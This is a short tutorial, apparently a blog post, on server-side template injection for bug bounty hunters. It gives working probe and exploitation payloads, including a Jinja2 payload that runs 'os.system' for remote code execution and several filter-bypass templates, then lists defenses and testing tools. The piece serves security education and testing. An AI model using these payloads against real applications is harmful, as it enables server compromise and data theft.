10/06/2025
Server-Side Template Injection (SSTI): A Deep Dive
What is SSTI?
Server-Side Template Injection occurs when a web application processes user input in a template engine without proper validation. This allows attackers to inject malicious payloads, leading to severe consequences like data leaks, privilege escalation, or even full Remote Code Ex*****on (RCE).
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Common Vulnerable Template Engines
Different languages use different engines, many of which are susceptible to SSTI:
Python: Jinja2, Mako
Java: FreeMarker, Velocity
PHP: Smarty, Twig
JavaScript: Handlebars, EJS
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Real-Life Example of Exploit
Imagine a web application allows users to create dynamic email templates. A user inputs this payload in the template field:
{{7*7}}
If the output shows 49, the system is vulnerable. From here, an attacker can escalate the attack to access sensitive data or execute arbitrary code:
{{config.items()}} # Access server configurations
{{self.__init__.__globals__.__builtins__.exec('import os; os.system("id")')}} # RCE
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Bypass Techniques
When basic payloads don't work, try these advanced methods:
1. Hexadecimal Encoding: Convert payloads into hex to bypass filters.
{{request["\x63\x6f\x6f\x6b\x69\x65"]}}
2. Double Braces: Some applications require bypassing filters using nested syntax.
{{ '{{7*7}}' }}
3. Alternate Functions: Explore other template methods or functions:
For Jinja2: {% for x in [1] %}{{ loop.__class__.__base__.__subclasses__() }}{% endfor %}
For Twig: {{constant('php_uname')()}}
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Potential Impact
Sensitive Data Exposure: Dump environment variables or server configurations.
Account Takeover: Hijack sessions by stealing cookies.
Remote Code Ex*****on: Completely compromise the server.
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Defense Mechanisms
1. Input Validation: Always sanitize and validate user inputs before processing them in template engines.
2. Escape Outputs: Ensure outputs are escaped properly to avoid unintended ex*****on.
3. Content Security Policy (CSP): Implement strict CSP rules to limit script ex*****on.
4. Template Rendering Best Practices:
Use sandboxed template engines.
Avoid passing user-controlled inputs directly to render methods.
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Testing Tools
Manual Testing: Use payloads from SSTI cheat sheets and test manually via tools like Postman or Burp Suite.
Automation Tools:
Template Injector
Burp Suite plugins
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Pro Tip for Bug Bounty Hunters
Focus on:
Email template features.
Custom report generators.
Dynamic web pages where user input directly influences server-side rendering.
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Stay Secure and make sure your applications are SSTI-proof!
